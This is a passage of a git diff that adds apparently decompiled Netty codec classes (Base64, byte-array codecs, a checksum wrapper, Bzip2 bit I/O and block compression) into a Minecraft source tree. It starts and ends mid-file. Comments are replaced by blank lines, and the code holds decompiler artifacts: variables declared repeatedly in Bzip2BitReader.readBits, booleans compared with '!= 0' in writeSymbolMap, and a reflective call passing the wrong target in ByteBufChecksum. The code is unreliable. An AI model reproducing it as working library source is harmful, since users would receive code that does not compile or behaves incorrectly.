+      throw new NullPointerException("src");
+    }
+    if (dialect == null) {
+      throw new NullPointerException("dialect");
+    }
+    
+    int len43 = len * 4 / 3;
+    ByteBuf dest = Unpooled.buffer(len43 + (len % 3 > 0 ? 4 : 0) + (breakLines ? len43 / 76 : 0)).order(src.order());
+    
+
+
+    int d = 0;
+    int e = 0;
+    int len2 = len - 2;
+    int lineLength = 0;
+    for (; d < len2; e += 4) {
+      encode3to4(src, d + off, 3, dest, e, dialect);
+      
+      lineLength += 4;
+      if ((breakLines) && (lineLength == 76)) {
+        dest.setByte(e + 4, 10);
+        e++;
+        lineLength = 0;
+      }
+      d += 3;
+    }
+    
+
+
+
+
+
+
+
+
+    if (d < len) {
+      encode3to4(src, d + off, len - d, dest, e, dialect);
+      e += 4;
+    }
+    
+    return dest.slice(0, e);
+  }
+  
+
+
+  private static void encode3to4(ByteBuf src, int srcOffset, int numSigBytes, ByteBuf dest, int destOffset, Base64Dialect dialect)
+  {
+    byte[] ALPHABET = alphabet(dialect);
+    
+
+
+
+
+
+
+
+
+
+
+
+    int inBuff = (numSigBytes > 0 ? src.getByte(srcOffset) << 24 >>> 8 : 0) | (numSigBytes > 1 ? src.getByte(srcOffset + 1) << 24 >>> 16 : 0) | (numSigBytes > 2 ? src.getByte(srcOffset + 2) << 24 >>> 24 : 0);
+    
+
+
+
+    switch (numSigBytes) {
+    case 3: 
+      dest.setByte(destOffset, ALPHABET[(inBuff >>> 18)]);
+      dest.setByte(destOffset + 1, ALPHABET[(inBuff >>> 12 & 0x3F)]);
+      dest.setByte(destOffset + 2, ALPHABET[(inBuff >>> 6 & 0x3F)]);
+      dest.setByte(destOffset + 3, ALPHABET[(inBuff & 0x3F)]);
+      break;
+    case 2: 
+      dest.setByte(destOffset, ALPHABET[(inBuff >>> 18)]);
+      dest.setByte(destOffset + 1, ALPHABET[(inBuff >>> 12 & 0x3F)]);
+      dest.setByte(destOffset + 2, ALPHABET[(inBuff >>> 6 & 0x3F)]);
+      dest.setByte(destOffset + 3, 61);
+      break;
+    case 1: 
+      dest.setByte(destOffset, ALPHABET[(inBuff >>> 18)]);
+      dest.setByte(destOffset + 1, ALPHABET[(inBuff >>> 12 & 0x3F)]);
+      dest.setByte(destOffset + 2, 61);
+      dest.setByte(destOffset + 3, 61);
+    }
+  }
+  
+  public static ByteBuf decode(ByteBuf src)
+  {
+    return decode(src, Base64Dialect.STANDARD);
+  }
+  
+  public static ByteBuf decode(ByteBuf src, Base64Dialect dialect)
+  {
+    if (src == null) {
+      throw new NullPointerException("src");
+    }
+    
+    ByteBuf dest = decode(src, src.readerIndex(), src.readableBytes(), dialect);
+    src.readerIndex(src.writerIndex());
+    return dest;
+  }
+  
+  public static ByteBuf decode(ByteBuf src, int off, int len)
+  {
+    return decode(src, off, len, Base64Dialect.STANDARD);
+  }
+  
+
+  public static ByteBuf decode(ByteBuf src, int off, int len, Base64Dialect dialect)
+  {
+    if (src == null) {
+      throw new NullPointerException("src");
+    }
+    if (dialect == null) {
+      throw new NullPointerException("dialect");
+    }
+    
+    byte[] DECODABET = decodabet(dialect);
+    
+    int len34 = len * 3 / 4;
+    ByteBuf dest = src.alloc().buffer(len34).order(src.order());
+    int outBuffPosn = 0;
+    
+    byte[] b4 = new byte[4];
+    int b4Posn = 0;
+    
+
+
+    for (int i = off; i < off + len; i++) {
+      byte sbiCrop = (byte)(src.getByte(i) & 0x7F);
+      byte sbiDecode = DECODABET[sbiCrop];
+      
+      if (sbiDecode >= -5) {
+        if (sbiDecode >= -1) {
+          b4[(b4Posn++)] = sbiCrop;
+          if (b4Posn > 3) {
+            outBuffPosn += decode4to3(b4, 0, dest, outBuffPosn, dialect);
+            
+            b4Posn = 0;
+            
+
+            if (sbiCrop == 61) {
+              break;
+            }
+          }
+        }
+      } else {
+        throw new IllegalArgumentException("bad Base64 input character at " + i + ": " + src.getUnsignedByte(i) + " (decimal)");
+      }
+    }
+    
+
+
+    return dest.slice(0, outBuffPosn);
+  }
+  
+
+
+  private static int decode4to3(byte[] src, int srcOffset, ByteBuf dest, int destOffset, Base64Dialect dialect)
+  {
+    byte[] DECODABET = decodabet(dialect);
+    
+    if (src[(srcOffset + 2)] == 61)
+    {
+      int outBuff = (DECODABET[src[srcOffset]] & 0xFF) << 18 | (DECODABET[src[(srcOffset + 1)]] & 0xFF) << 12;
+      
+
+
+      dest.setByte(destOffset, (byte)(outBuff >>> 16));
+      return 1; }
+    if (src[(srcOffset + 3)] == 61)
+    {
+      int outBuff = (DECODABET[src[srcOffset]] & 0xFF) << 18 | (DECODABET[src[(srcOffset + 1)]] & 0xFF) << 12 | (DECODABET[src[(srcOffset + 2)]] & 0xFF) << 6;
+      
+
+
+
+      dest.setByte(destOffset, (byte)(outBuff >>> 16));
+      dest.setByte(destOffset + 1, (byte)(outBuff >>> 8));
+      return 2;
+    }
+    int outBuff;
+    try
+    {
+      outBuff = (DECODABET[src[srcOffset]] & 0xFF) << 18 | (DECODABET[src[(srcOffset + 1)]] & 0xFF) << 12 | (DECODABET[src[(srcOffset + 2)]] & 0xFF) << 6 | DECODABET[src[(srcOffset + 3)]] & 0xFF;
+
+    }
+    catch (IndexOutOfBoundsException ignored)
+    {
+
+      throw new IllegalArgumentException("not encoded in Base64");
+    }
+    
+    dest.setByte(destOffset, (byte)(outBuff >> 16));
+    dest.setByte(destOffset + 1, (byte)(outBuff >> 8));
+    dest.setByte(destOffset + 2, (byte)outBuff);
+    return 3;
+  }
+  
+  private Base64() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/base64/Base64Decoder.java b/src/minecraft/io/netty/handler/codec/base64/Base64Decoder.java
new file mode 100644
index 0000000..97ff98b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/base64/Base64Decoder.java
@@ -0,0 +1,66 @@
+package io.netty.handler.codec.base64;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class Base64Decoder
+  extends MessageToMessageDecoder<ByteBuf>
+{
+  private final Base64Dialect dialect;
+  
+  public Base64Decoder()
+  {
+    this(Base64Dialect.STANDARD);
+  }
+  
+  public Base64Decoder(Base64Dialect dialect) {
+    if (dialect == null) {
+      throw new NullPointerException("dialect");
+    }
+    this.dialect = dialect;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf msg, List<Object> out) throws Exception
+  {
+    out.add(Base64.decode(msg, msg.readerIndex(), msg.readableBytes(), dialect));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/base64/Base64Dialect.java b/src/minecraft/io/netty/handler/codec/base64/Base64Dialect.java
new file mode 100644
index 0000000..221148b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/base64/Base64Dialect.java
@@ -0,0 +1,207 @@
+package io.netty.handler.codec.base64;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum Base64Dialect
+{
+  STANDARD(new byte[] { 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 43, 47 }, new byte[] { -9, -9, -9, -9, -9, -9, -9, -9, -9, -5, -5, -9, -9, -5, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -5, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, 62, -9, -9, -9, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -9, -9, -9, -1, -9, -9, -9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -9, -9, -9, -9, -9, -9, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -9, -9, -9, -9 }, true), 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  URL_SAFE(new byte[] { 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 45, 95 }, new byte[] { -9, -9, -9, -9, -9, -9, -9, -9, -9, -5, -5, -9, -9, -5, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -5, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, 62, -9, -9, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -9, -9, -9, -1, -9, -9, -9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -9, -9, -9, -9, 63, -9, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -9, -9, -9, -9 }, false), 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  ORDERED(new byte[] { 45, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 95, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122 }, new byte[] { -9, -9, -9, -9, -9, -9, -9, -9, -9, -5, -5, -9, -9, -5, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -5, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, 0, -9, -9, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, -9, -9, -9, -1, -9, -9, -9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, -9, -9, -9, -9, 37, -9, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, -9, -9, -9, -9 }, true);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  final byte[] alphabet;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  final byte[] decodabet;
+  
+
+
+
+
+
+
+
+
+
+
+
+  final boolean breakLinesByDefault;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private Base64Dialect(byte[] alphabet, byte[] decodabet, boolean breakLinesByDefault)
+  {
+    this.alphabet = alphabet;
+    this.decodabet = decodabet;
+    this.breakLinesByDefault = breakLinesByDefault;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/base64/Base64Encoder.java b/src/minecraft/io/netty/handler/codec/base64/Base64Encoder.java
new file mode 100644
index 0000000..46dc595
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/base64/Base64Encoder.java
@@ -0,0 +1,69 @@
+package io.netty.handler.codec.base64;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class Base64Encoder
+  extends MessageToMessageEncoder<ByteBuf>
+{
+  private final boolean breakLines;
+  private final Base64Dialect dialect;
+  
+  public Base64Encoder()
+  {
+    this(true);
+  }
+  
+  public Base64Encoder(boolean breakLines) {
+    this(breakLines, Base64Dialect.STANDARD);
+  }
+  
+  public Base64Encoder(boolean breakLines, Base64Dialect dialect) {
+    if (dialect == null) {
+      throw new NullPointerException("dialect");
+    }
+    
+    this.breakLines = breakLines;
+    this.dialect = dialect;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf msg, List<Object> out) throws Exception
+  {
+    out.add(Base64.encode(msg, msg.readerIndex(), msg.readableBytes(), breakLines, dialect));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/bytes/ByteArrayDecoder.java b/src/minecraft/io/netty/handler/codec/bytes/ByteArrayDecoder.java
new file mode 100644
index 0000000..ab3c7ab
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/bytes/ByteArrayDecoder.java
@@ -0,0 +1,60 @@
+package io.netty.handler.codec.bytes;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ByteArrayDecoder
+  extends MessageToMessageDecoder<ByteBuf>
+{
+  public ByteArrayDecoder() {}
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf msg, List<Object> out)
+    throws Exception
+  {
+    byte[] array = new byte[msg.readableBytes()];
+    msg.getBytes(0, array);
+    
+    out.add(array);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/bytes/ByteArrayEncoder.java b/src/minecraft/io/netty/handler/codec/bytes/ByteArrayEncoder.java
new file mode 100644
index 0000000..33dfd02
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/bytes/ByteArrayEncoder.java
@@ -0,0 +1,59 @@
+package io.netty.handler.codec.bytes;
+
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class ByteArrayEncoder
+  extends MessageToMessageEncoder<byte[]>
+{
+  public ByteArrayEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, byte[] msg, List<Object> out)
+    throws Exception
+  {
+    out.add(Unpooled.wrappedBuffer(msg));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/ByteBufChecksum.java b/src/minecraft/io/netty/handler/codec/compression/ByteBufChecksum.java
new file mode 100644
index 0000000..3bf8319
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/ByteBufChecksum.java
@@ -0,0 +1,139 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.ByteProcessor;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import java.lang.reflect.Method;
+import java.nio.ByteBuffer;
+import java.util.zip.Adler32;
+import java.util.zip.CRC32;
+import java.util.zip.Checksum;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class ByteBufChecksum
+  implements Checksum
+{
+  private static final Method ADLER32_UPDATE_METHOD = updateByteBuffer(new Adler32());
+  private static final Method CRC32_UPDATE_METHOD = updateByteBuffer(new CRC32());
+  private final ByteProcessor updateProcessor;
+  
+  ByteBufChecksum() { updateProcessor = new ByteProcessor()
+    {
+      public boolean process(byte value) throws Exception {
+        update(value);
+        return true;
+      }
+    }; }
+  
+  private static Method updateByteBuffer(Checksum checksum) {
+    if (PlatformDependent.javaVersion() >= 8) {
+      try {
+        Method method = checksum.getClass().getDeclaredMethod("update", new Class[] { ByteBuffer.class });
+        method.invoke(method, new Object[] { ByteBuffer.allocate(1) });
+        return method;
+      } catch (Throwable ignore) {
+        return null;
+      }
+    }
+    return null;
+  }
+  
+  static ByteBufChecksum wrapChecksum(Checksum checksum) {
+    ObjectUtil.checkNotNull(checksum, "checksum");
+    if (((checksum instanceof Adler32)) && (ADLER32_UPDATE_METHOD != null)) {
+      return new ReflectiveByteBufChecksum(checksum, ADLER32_UPDATE_METHOD);
+    }
+    if (((checksum instanceof CRC32)) && (CRC32_UPDATE_METHOD != null)) {
+      return new ReflectiveByteBufChecksum(checksum, CRC32_UPDATE_METHOD);
+    }
+    return new SlowByteBufChecksum(checksum);
+  }
+  
+
+
+  public void update(ByteBuf b, int off, int len)
+  {
+    if (b.hasArray()) {
+      update(b.array(), b.arrayOffset() + off, len);
+    } else {
+      b.forEachByte(off, len, updateProcessor);
+    }
+  }
+  
+  private static final class ReflectiveByteBufChecksum extends ByteBufChecksum.SlowByteBufChecksum {
+    private final Method method;
+    
+    ReflectiveByteBufChecksum(Checksum checksum, Method method) {
+      super();
+      this.method = method;
+    }
+    
+    public void update(ByteBuf b, int off, int len)
+    {
+      if (b.hasArray()) {
+        update(b.array(), b.arrayOffset() + off, len);
+      } else {
+        try {
+          method.invoke(checksum, new Object[] { CompressionUtil.safeNioBuffer(b) });
+        } catch (Throwable cause) {
+          throw new Error();
+        }
+      }
+    }
+  }
+  
+  private static class SlowByteBufChecksum extends ByteBufChecksum
+  {
+    protected final Checksum checksum;
+    
+    SlowByteBufChecksum(Checksum checksum) {
+      this.checksum = checksum;
+    }
+    
+    public void update(int b)
+    {
+      checksum.update(b);
+    }
+    
+    public void update(byte[] b, int off, int len)
+    {
+      checksum.update(b, off, len);
+    }
+    
+    public long getValue()
+    {
+      return checksum.getValue();
+    }
+    
+    public void reset()
+    {
+      checksum.reset();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2BitReader.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2BitReader.java
new file mode 100644
index 0000000..f2691f0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2BitReader.java
@@ -0,0 +1,157 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Bzip2BitReader
+{
+  private static final int MAX_COUNT_OF_READABLE_BYTES = 268435455;
+  private ByteBuf in;
+  private long bitBuffer;
+  private int bitCount;
+  
+  Bzip2BitReader() {}
+  
+  void setByteBuf(ByteBuf in)
+  {
+    this.in = in;
+  }
+  
+
+
+
+
+  int readBits(int count)
+  {
+    if ((count < 0) || (count > 32)) {
+      throw new IllegalArgumentException("count: " + count + " (expected: 0-32 )");
+    }
+    int bitCount = this.bitCount;
+    long bitBuffer = this.bitBuffer;
+    
+    if (bitCount < count) { int offset;
+      int offset;
+      int offset;
+      long readData; int offset; switch (in.readableBytes()) {
+      case 1: 
+        long readData = in.readUnsignedByte();
+        offset = 8;
+        break;
+      
+      case 2: 
+        long readData = in.readUnsignedShort();
+        offset = 16;
+        break;
+      
+      case 3: 
+        long readData = in.readUnsignedMedium();
+        offset = 24;
+        break;
+      
+      default: 
+        readData = in.readUnsignedInt();
+        offset = 32;
+      }
+      
+      
+
+      bitBuffer = bitBuffer << offset | readData;
+      bitCount += offset;
+      this.bitBuffer = bitBuffer;
+    }
+    
+    this.bitCount = (bitCount -= count);
+    return (int)(bitBuffer >>> bitCount & (count != 32 ? (1 << count) - 1 : 4294967295L));
+  }
+  
+
+
+
+  boolean readBoolean()
+  {
+    return readBits(1) != 0;
+  }
+  
+
+
+
+  int readInt()
+  {
+    return readBits(32);
+  }
+  
+
+
+  void refill()
+  {
+    int readData = in.readUnsignedByte();
+    bitBuffer = (bitBuffer << 8 | readData);
+    bitCount += 8;
+  }
+  
+
+
+
+  boolean isReadable()
+  {
+    return (bitCount > 0) || (in.isReadable());
+  }
+  
+
+
+
+
+  boolean hasReadableBits(int count)
+  {
+    if (count < 0) {
+      throw new IllegalArgumentException("count: " + count + " (expected value greater than 0)");
+    }
+    return (bitCount >= count) || ((in.readableBytes() << 3 & 0x7FFFFFFF) >= count - bitCount);
+  }
+  
+
+
+
+
+  boolean hasReadableBytes(int count)
+  {
+    if ((count < 0) || (count > 268435455)) {
+      throw new IllegalArgumentException("count: " + count + " (expected: 0-" + 268435455 + ')');
+    }
+    
+    return hasReadableBits(count << 3);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2BitWriter.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2BitWriter.java
new file mode 100644
index 0000000..ae118b3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2BitWriter.java
@@ -0,0 +1,120 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Bzip2BitWriter
+{
+  private long bitBuffer;
+  private int bitCount;
+  
+  Bzip2BitWriter() {}
+  
+  void writeBits(ByteBuf out, int count, long value)
+  {
+    if ((count < 0) || (count > 32)) {
+      throw new IllegalArgumentException("count: " + count + " (expected: 0-32)");
+    }
+    int bitCount = this.bitCount;
+    long bitBuffer = this.bitBuffer | value << 64 - count >>> bitCount;
+    bitCount += count;
+    
+    if (bitCount >= 32) {
+      out.writeInt((int)(bitBuffer >>> 32));
+      bitBuffer <<= 32;
+      bitCount -= 32;
+    }
+    this.bitBuffer = bitBuffer;
+    this.bitCount = bitCount;
+  }
+  
+
+
+
+  void writeBoolean(ByteBuf out, boolean value)
+  {
+    int bitCount = this.bitCount + 1;
+    long bitBuffer = this.bitBuffer | (value ? 1L << 64 - bitCount : 0L);
+    
+    if (bitCount == 32) {
+      out.writeInt((int)(bitBuffer >>> 32));
+      bitBuffer = 0L;
+      bitCount = 0;
+    }
+    this.bitBuffer = bitBuffer;
+    this.bitCount = bitCount;
+  }
+  
+
+
+
+
+  void writeUnary(ByteBuf out, int value)
+  {
+    if (value < 0) {
+      throw new IllegalArgumentException("value: " + value + " (expected 0 or more)");
+    }
+    while (value-- > 0) {
+      writeBoolean(out, true);
+    }
+    writeBoolean(out, false);
+  }
+  
+
+
+
+  void writeInt(ByteBuf out, int value)
+  {
+    writeBits(out, 32, value);
+  }
+  
+
+
+
+  void flush(ByteBuf out)
+  {
+    int bitCount = this.bitCount;
+    
+    if (bitCount > 0) {
+      long bitBuffer = this.bitBuffer;
+      int shiftToRight = 64 - bitCount;
+      
+      if (bitCount <= 8) {
+        out.writeByte((int)(bitBuffer >>> shiftToRight << 8 - bitCount));
+      } else if (bitCount <= 16) {
+        out.writeShort((int)(bitBuffer >>> shiftToRight << 16 - bitCount));
+      } else if (bitCount <= 24) {
+        out.writeMedium((int)(bitBuffer >>> shiftToRight << 24 - bitCount));
+      } else {
+        out.writeInt((int)(bitBuffer >>> shiftToRight << 32 - bitCount));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2BlockCompressor.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2BlockCompressor.java
new file mode 100644
index 0000000..7a81f69
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2BlockCompressor.java
@@ -0,0 +1,299 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.ByteProcessor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Bzip2BlockCompressor
+{
+  private final ByteProcessor writeProcessor = new ByteProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return write(value);
+    }
+  };
+  
+
+
+
+  private final Bzip2BitWriter writer;
+  
+
+
+
+  private final Crc32 crc = new Crc32();
+  
+
+
+
+
+  private final byte[] block;
+  
+
+
+
+  private int blockLength;
+  
+
+
+
+  private final int blockLengthLimit;
+  
+
+
+
+  private final boolean[] blockValuesPresent = new boolean['Ā'];
+  
+
+
+
+  private final int[] bwtBlock;
+  
+
+
+
+  private int rleCurrentValue = -1;
+  
+
+
+
+  private int rleLength;
+  
+
+
+
+
+  Bzip2BlockCompressor(Bzip2BitWriter writer, int blockSize)
+  {
+    this.writer = writer;
+    
+
+    block = new byte[blockSize + 1];
+    bwtBlock = new int[blockSize + 1];
+    blockLengthLimit = (blockSize - 6);
+  }
+  
+
+
+  private void writeSymbolMap(ByteBuf out)
+  {
+    Bzip2BitWriter writer = this.writer;
+    
+    boolean[] blockValuesPresent = this.blockValuesPresent;
+    boolean[] condensedInUse = new boolean[16];
+    
+    for (int i = 0; i < condensedInUse.length; i++) {
+      int j = 0; for (int k = i << 4; j < 16; k++) {
+        if (blockValuesPresent[k] != 0) {
+          condensedInUse[i] = true;
+        }
+        j++;
+      }
+    }
+    
+
+
+
+    for (int i = 0; i < condensedInUse.length; i++) {
+      writer.writeBoolean(out, condensedInUse[i]);
+    }
+    
+    for (int i = 0; i < condensedInUse.length; i++) {
+      if (condensedInUse[i] != 0) {
+        int j = 0; for (int k = i << 4; j < 16; k++) {
+          writer.writeBoolean(out, blockValuesPresent[k]);j++;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  private void writeRun(int value, int runLength)
+  {
+    int blockLength = this.blockLength;
+    byte[] block = this.block;
+    
+    blockValuesPresent[value] = true;
+    crc.updateCRC(value, runLength);
+    
+    byte byteValue = (byte)value;
+    switch (runLength) {
+    case 1: 
+      block[blockLength] = byteValue;
+      this.blockLength = (blockLength + 1);
+      break;
+    case 2: 
+      block[blockLength] = byteValue;
+      block[(blockLength + 1)] = byteValue;
+      this.blockLength = (blockLength + 2);
+      break;
+    case 3: 
+      block[blockLength] = byteValue;
+      block[(blockLength + 1)] = byteValue;
+      block[(blockLength + 2)] = byteValue;
+      this.blockLength = (blockLength + 3);
+      break;
+    default: 
+      runLength -= 4;
+      blockValuesPresent[runLength] = true;
+      block[blockLength] = byteValue;
+      block[(blockLength + 1)] = byteValue;
+      block[(blockLength + 2)] = byteValue;
+      block[(blockLength + 3)] = byteValue;
+      block[(blockLength + 4)] = ((byte)runLength);
+      this.blockLength = (blockLength + 5);
+    }
+    
+  }
+  
+
+
+
+
+  boolean write(int value)
+  {
+    if (blockLength > blockLengthLimit) {
+      return false;
+    }
+    int rleCurrentValue = this.rleCurrentValue;
+    int rleLength = this.rleLength;
+    
+    if (rleLength == 0) {
+      this.rleCurrentValue = value;
+      this.rleLength = 1;
+    } else if (rleCurrentValue != value)
+    {
+      writeRun(rleCurrentValue & 0xFF, rleLength);
+      this.rleCurrentValue = value;
+      this.rleLength = 1;
+    }
+    else if (rleLength == 254) {
+      writeRun(rleCurrentValue & 0xFF, 255);
+      this.rleLength = 0;
+    } else {
+      this.rleLength = (rleLength + 1);
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  int write(ByteBuf buffer, int offset, int length)
+  {
+    int index = buffer.forEachByte(offset, length, writeProcessor);
+    return index == -1 ? length : index - offset;
+  }
+  
+
+
+
+  void close(ByteBuf out)
+  {
+    if (rleLength > 0) {
+      writeRun(rleCurrentValue & 0xFF, rleLength);
+    }
+    
+
+    block[blockLength] = block[0];
+    
+
+    Bzip2DivSufSort divSufSort = new Bzip2DivSufSort(block, bwtBlock, blockLength);
+    int bwtStartPointer = divSufSort.bwt();
+    
+    Bzip2BitWriter writer = this.writer;
+    
+
+    writer.writeBits(out, 24, 3227993L);
+    writer.writeBits(out, 24, 2511705L);
+    writer.writeInt(out, crc.getCRC());
+    writer.writeBoolean(out, false);
+    writer.writeBits(out, 24, bwtStartPointer);
+    
+
+    writeSymbolMap(out);
+    
+
+    Bzip2MTFAndRLE2StageEncoder mtfEncoder = new Bzip2MTFAndRLE2StageEncoder(bwtBlock, blockLength, blockValuesPresent);
+    
+    mtfEncoder.encode();
+    
+
+    Bzip2HuffmanStageEncoder huffmanEncoder = new Bzip2HuffmanStageEncoder(writer, mtfEncoder.mtfBlock(), mtfEncoder.mtfLength(), mtfEncoder.mtfAlphabetSize(), mtfEncoder.mtfSymbolFrequencies());
+    
+
+
+
+    huffmanEncoder.encode(out);
+  }
+  
+
+
+
+  int availableSize()
+  {
+    if (blockLength == 0) {
+      return blockLengthLimit + 2;
+    }
+    return blockLengthLimit - blockLength + 1;
+  }
+  
+
+
+
+  boolean isFull()
+  {
+    return blockLength > blockLengthLimit;
+  }
+  
+
+
+
+  boolean isEmpty()
+  {
+    return (blockLength == 0) && (rleLength == 0);
+  }
+  
+
+
+
+  int crc()
+  {
+    return crc.getCRC();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2BlockDecompressor.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2BlockDecompressor.java
new file mode 100644
index 0000000..247d2ca
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2BlockDecompressor.java
@@ -0,0 +1,342 @@
+package io.netty.handler.codec.compression;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
